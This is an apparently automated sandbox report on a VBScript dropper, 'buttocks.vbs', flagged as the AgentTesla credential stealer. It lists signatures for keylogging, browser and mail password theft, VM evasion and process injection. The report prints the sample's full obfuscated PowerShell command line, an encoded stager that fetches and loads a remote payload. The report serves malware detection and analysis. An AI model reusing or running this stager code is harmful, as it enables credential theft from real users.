Windows
Analysis Report
buttocks.vbs
Overview
General Information
Detection
AgentTesla
Score: | 100 |
Range: | 0 - 100 |
Confidence: | 100% |
Signatures
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
VBScript performs obfuscated calls to suspicious functions
Yara detected AgentTesla
Yara detected AntiVM3
Yara detected Powershell decode and execute
Yara detected Powershell download and execute
Check if machine is in data center or colocation facility
Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
Contains functionality to log keystrokes (.Net Source)
Injects a PE file into a foreign processes
Joe Sandbox ML detected suspicious sample
Potential malicious VBS script found (suspicious strings)
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Silenttrinity Stager Msbuild Activity
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if the current process is being debugged
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara detected Credential Stealer
Yara signature match
Classification
- System is w10x64
wscript.exe (PID: 5068 cmdline:
C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\butto cks.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) powershell.exe (PID: 3852 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -NoProfile -Command "$Codigo = 'J#Bz#H## bwBy#HQ#cw B3#HI#aQB0 #GU#cg#g#D 0#I##n#HQ# e#B0#C4#Uw BT#FM#UwBT #FI#RQBH#E E#TgBB#E0# S#BI#Eg#S# BI#Eg#UwBF #FI#Rg#v#D c#MQ#u#D## Mg#y#C4#Mw #u#DI#OQ#x #C8#Lw#6#H ##d#B0#Gg# Jw#7#CQ#bw Bw#H##bwBy #HQ#dQBu#G k#cwB0#HM# I##9#C##J# Bz#H##bwBy #HQ#cwB3#H I#aQB0#GU# cg#g#C0#cg Bl#H##b#Bh #GM#ZQ#g#C c#Iw#n#Cw# I##n#HQ#Jw #7#CQ#cwBh #HU#cgBv#G k#Z#Bl#Gk# I##9#C##Jw Bo#HQ#d#Bw #Do#Lw#v#D E#OQ#y#C4# Mw#u#DI#Mg #w#C4#MQ#3 #C8#RQBO#E M#UgBZ#F## V#BJ#E8#Tg #w#DE#LgBq #H##Zw#n#D s#J#Bw#HU# b#Bw#Gk#Zg Bh#GM#d#Bp #G8#bg#g#D 0#I#BO#GU# dw#t#E8#Yg Bq#GU#YwB0 #C##UwB5#H M#d#Bl#G0# LgBO#GU#d# #u#Fc#ZQBi #EM#b#Bp#G U#bgB0#Ds# J#Bh#GM#cQ B1#GE#aQBu #HQ#YQBu#G M#ZQ#g#D0# I##k#H##dQ Bs#H##aQBm #GE#YwB0#G k#bwBu#C4# R#Bv#Hc#bg Bs#G8#YQBk #EQ#YQB0#G E#K##k#HM# YQB1#HI#bw Bp#GQ#ZQBp #Ck#Ow#k#G c#YQB6#GU# b#Bl#HM#cw #g#D0#I#Bb #FM#eQBz#H Q#ZQBt#C4# V#Bl#Hg#d# #u#EU#bgBj #G8#Z#Bp#G 4#ZwBd#Do# OgBV#FQ#Rg #4#C4#RwBl #HQ#UwB0#H I#aQBu#Gc# K##k#GE#Yw Bx#HU#YQBp #G4#d#Bh#G 4#YwBl#Ck# Ow#k#HI#ZQ Bj#HU#dgBl #HI#I##9#C ##Jw#8#Dw# QgBB#FM#RQ #2#DQ#XwBT #FQ#QQBS#F Q#Pg#+#Cc# Ow#k#GM#YQ Bs#GM#dQBs #Gk#ZgBy#G E#ZwBv#HU# cw#g#D0#I# #n#Dw#P#BC #EE#UwBF#D Y#N#Bf#EU# TgBE#D4#Pg #n#Ds#J#Bn #HI#bwB3#G w#eQ#g#D0# I##k#Gc#YQ B6#GU#b#Bl #HM#cw#u#E k#bgBk#GU# e#BP#GY#K# #k#HI#ZQBj #HU#dgBl#H I#KQ#7#CQ# agBh#GM#bw Bi#Gk#d#Bp #HM#bQ#g#D 0#I##k#Gc# YQB6#GU#b# Bl#HM#cw#u #Ek#bgBk#G U#e#BP#GY# K##k#GM#YQ Bs#GM#dQBs #Gk#ZgBy#G E#ZwBv#HU# cw#p#Ds#J# Bn#HI#bwB3 #Gw#eQ#g#C 0#ZwBl#C## M##g#C0#YQ Bu#GQ#I##k #Go#YQBj#G 8#YgBp#HQ# aQBz#G0#I# #t#Gc#d##g #CQ#ZwBy#G 8#dwBs#Hk# Ow#k#Gc#cg Bv#Hc#b#B5 #C##Kw#9#C ##J#By#GU# YwB1#HY#ZQ By#C4#T#Bl #G4#ZwB0#G g#Ow#k#GI# YQBm#GY#ZQ B0#GE#I##9 #C##J#Bq#G E#YwBv#GI# aQB0#Gk#cw Bt#C##LQ#g #CQ#ZwBy#G 8#dwBs#Hk# Ow#k#HY#aQ Bz#GE#eQBh #C##PQ#g#C Q#ZwBh#Ho# ZQBs#GU#cw Bz#C4#UwB1 #GI#cwB0#H I#aQBu#Gc# K##k#Gc#cg Bv#Hc#b#B5 #Cw#I##k#G I#YQBm#GY# ZQB0#GE#KQ #7#CQ#TQBv #Gw#Z#Bv#H Y#aQBh#G4# I##9#C##Ww BT#Hk#cwB0 #GU#bQ#u#E M#bwBu#HY# ZQBy#HQ#XQ #6#Do#RgBy #G8#bQBC#G E#cwBl#DY# N#BT#HQ#cg Bp#G4#Zw#o #CQ#dgBp#H M#YQB5#GE# KQ#7#CQ#YQ Bu#HQ#aQBm #GU#bQBh#G w#ZQ#g#D0# I#Bb#FM#eQ Bz#HQ#ZQBt #C4#UgBl#G Y#b#Bl#GM# d#Bp#G8#bg #u#EE#cwBz #GU#bQBi#G w#eQBd#Do# OgBM#G8#YQ Bk#Cg#J#BN #G8#b#Bk#G 8#dgBp#GE# bg#p#Ds#J# Bz#Gg#bwBh #HQ#cw#g#D 0#I#Bb#GQ# bgBs#Gk#Yg #u#Ek#Tw#u #Eg#bwBt#G U#XQ#u#Ec# ZQB0#E0#ZQ B0#Gg#bwBk #Cg#JwBW#E E#SQ#n#Ck# LgBJ#G4#dg Bv#Gs#ZQ#o #CQ#bgB1#G w#b##s#C## WwBv#GI#ag Bl#GM#d#Bb #F0#XQ#g#E ##K##k#G8# c#Bw#G8#cg B0#HU#bgBp #HM#d#Bz#C w#Jw#n#Cw# Jw#n#Cw#Jw #n#Cw#JwBN #FM#QgB1#G k#b#Bk#Cc# L##n#Cc#L# #n#Cc#L##n #Cc#L##n#C c#L##n#Cc# L##n#Cc#L# #n#Cc#L##n #Cc#L##n#C c#L##n#Cc# KQ#p##==';